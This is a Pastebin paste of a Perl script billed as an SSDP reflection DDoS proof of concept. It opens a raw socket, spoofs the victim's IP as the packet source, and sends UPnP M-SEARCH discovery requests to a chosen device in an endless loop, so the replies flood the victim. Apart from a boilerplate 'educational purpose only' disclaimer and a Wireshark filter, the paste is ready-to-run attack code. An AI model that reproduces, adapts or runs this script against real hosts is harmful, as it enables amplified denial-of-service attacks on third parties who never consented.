hackerscommunity

upnpd M-SEARCH ssdp:discover reflection ddos PoC exploit

Jul 14th, 2015
373
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 4.48 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #
  3. #  upnpd M-SEARCH ssdp:discover reflection
  4. #
  5. #  Copyright 2015 (c) Todor Donev
  6. #  http://www.ethical-hacker.org/
  7. #  https://www.facebook.com/ethicalhackerorg
  8. #
  9. #  The SSDP protocol can discover Plug & Play devices,
  10. #  with uPnP (Universal Plug and Play). SSDP is HTTP
  11. #  like protocol and work with NOTIFY and M-SEARCH
  12. #  methods.
  13. #
  14. #
  15. #  Disclaimer:
  16. #  This or previous program is for Educational
  17. #  purpose ONLY. Do not use it without permission.
  18. #  The usual disclaimer applies, especially the
  19. #  fact that Todor Donev is not liable for any
  20. #  damages caused by direct or indirect use of the
  21. #  information or functionality provided by these
  22. #  programs. The author or any Internet provider
  23. #  bears NO responsibility for content or misuse
  24. #  of these programs or any derivatives thereof.
  25. #  By using these programs you accept the fact
  26. #  that any damage (dataloss, system crash,
  27. #  system compromise, etc.) caused by the use
  28. #  of these programs is not Todor Donev's
  29. #  responsibility.
  30. #
  31. #  Use at your own risk and educational
  32. #  purpose ONLY!
  33. #
  34. #  Wireshark:
  35. #  udp.port eq 1900 || frame contains "HTTP/1.1 200 OK"
  36. #
  37. #  See also:
  38. #  SSDP Reflection DDoS Attacks
  39. #  http://tinyurl.com/mqwj6xt
  40. #
  41.  
  42. use Socket;
  43.  
  44. if ( $< != 0 ) {
  45.    print "Sorry, must be run as root!\n";
  46.    print "This script use RAW Socket.\n";
  47.    exit;
  48. }
  49.  
  50. my $ssdp    = (gethostbyname($ARGV[0]))[4];     # IP Address Source (32 bits)
  51. my $victim  = (gethostbyname($ARGV[1]))[4];     # IP Address Source (32 bits)
  52.  
  53. print "[ upnpd M-SEARCH ssdp:discover reflection ]\n";
  54. if (!defined $ssdp || !defined $victim) {
  55.     print "[ Usage:  $0 <upnpd> <victim>\n";
  56.     print "[  <todor.donev\@gmail.com>   Todor Donev  ]\n";
  57.     exit;
  58. }
  59. print "[ Sending SSDP packets: $ARGV[0] -> $ARGV[1]\n";
  60. socket(RAW, PF_INET, SOCK_RAW, 255) or die $!;
  61. setsockopt(RAW, 0, 1, 1) or die $!;
  62. main();
  63.  
  64.     # Main program
  65. sub main {
  66.     my $packet;
  67.      
  68.     $packet = iphdr();
  69.     $packet .= udphdr();
  70.     $packet .= payload();
  71.     # b000000m...
  72.     send_packet($packet);
  73. }
  74.  
  75.     # IP header (Layer 3)
  76. sub iphdr {
  77.     my $ip_ver          = 4;                # IP Version 4          (4 bits)
  78.     my $iphdr_len       = 5;                # IP Header Length      (4 bits)
  79.     my $ip_tos          = 0;                # Differentiated Services   (8 bits)
  80.     my $ip_total_len    = $iphdr_len + 20;      # IP Header Length + Data   (16 bits)
  81.     my $ip_frag_id      = 0;                # Identification Field      (16 bits)
  82.     my $ip_frag_flag    = 000;              # IP Frag Flags (R DF MF)   (3 bits)
  83.     my $ip_frag_offset  = 0000000000000;        # IP Fragment Offset        (13 bits)
  84.     my $ip_ttl          = 255;              # IP TTL            (8 bits)
  85.     my $ip_proto        = 17;               # IP Protocol           (8 bits)
  86.     my $ip_checksum     = 0;                # IP Checksum           (16 bits)
  87.     # IP Packet construction
  88.     my $iphdr   = pack(
  89.             'H2 H2 n n B16 h2 c n a4 a4',
  90.             $ip_ver . $iphdr_len, $ip_tos, $ip_total_len,
  91.             $ip_frag_id, $ip_frag_flag . $ip_frag_offset,
  92.             $ip_ttl, $ip_proto, $ip_checksum,
  93.             $victim, $ssdp
  94.             );
  95.             return $iphdr;
  96. }
  97.  
  98.     # UDP header (Layer 4)
  99. sub udphdr {
  100.     my $udp_src_port    = 31337;            # UDP Sort Port     (16 bits) (0-65535)
  101.     my $udp_dst_port    = 1900;             # UDP Dest Port     (16 btis) (0-65535)
  102.     my $udp_len     = 8 + length(payload());    # UDP Length        (16 bits) (0-65535)
  103.     my $udp_checksum    = 0;                # UDP Checksum      (16 bits) (XOR of header)
  104.  
  105.     # UDP Packet
  106.     my $udphdr      = pack(
  107.             'n n n n',
  108.             $udp_src_port, $udp_dst_port,
  109.             $udp_len, $udp_checksum
  110.             );
  111.     return $udphdr;
  112. }
  113.  
  114.     # SSDP HTTP like (Layer 7)
  115. sub payload {
  116.     my $data;
  117.     $data .= "M-SEARCH * HTTP\/1.1\r\n";
  118.   #  $data .= "HOST:239.255.255.250:1900\r\n";      # Multicast address
  119.     $data .= "ST:upnp:rootdevice\r\n";          # Search target, search for root devices only  
  120.     $data .= "MAN:\"ssdp:discover\"\r\n";
  121.   #  $data .= "MX:3\r\n\r\n";               # Seconds to delay response
  122.     my $payload = pack('a' . length($data), $data);
  123. return $payload;
  124. }
  125.  
  126. sub send_packet {
  127.     while(1){
  128.     select(undef, undef, undef, 0.10);          # Sleeping 100 milliseconds
  129.     send(RAW, $_[0], 0, pack('Sna4x8', PF_INET, 60, $ssdp)) or die $!;
  130.    }
  131. }
Add Comment
Please, Sign In to add comment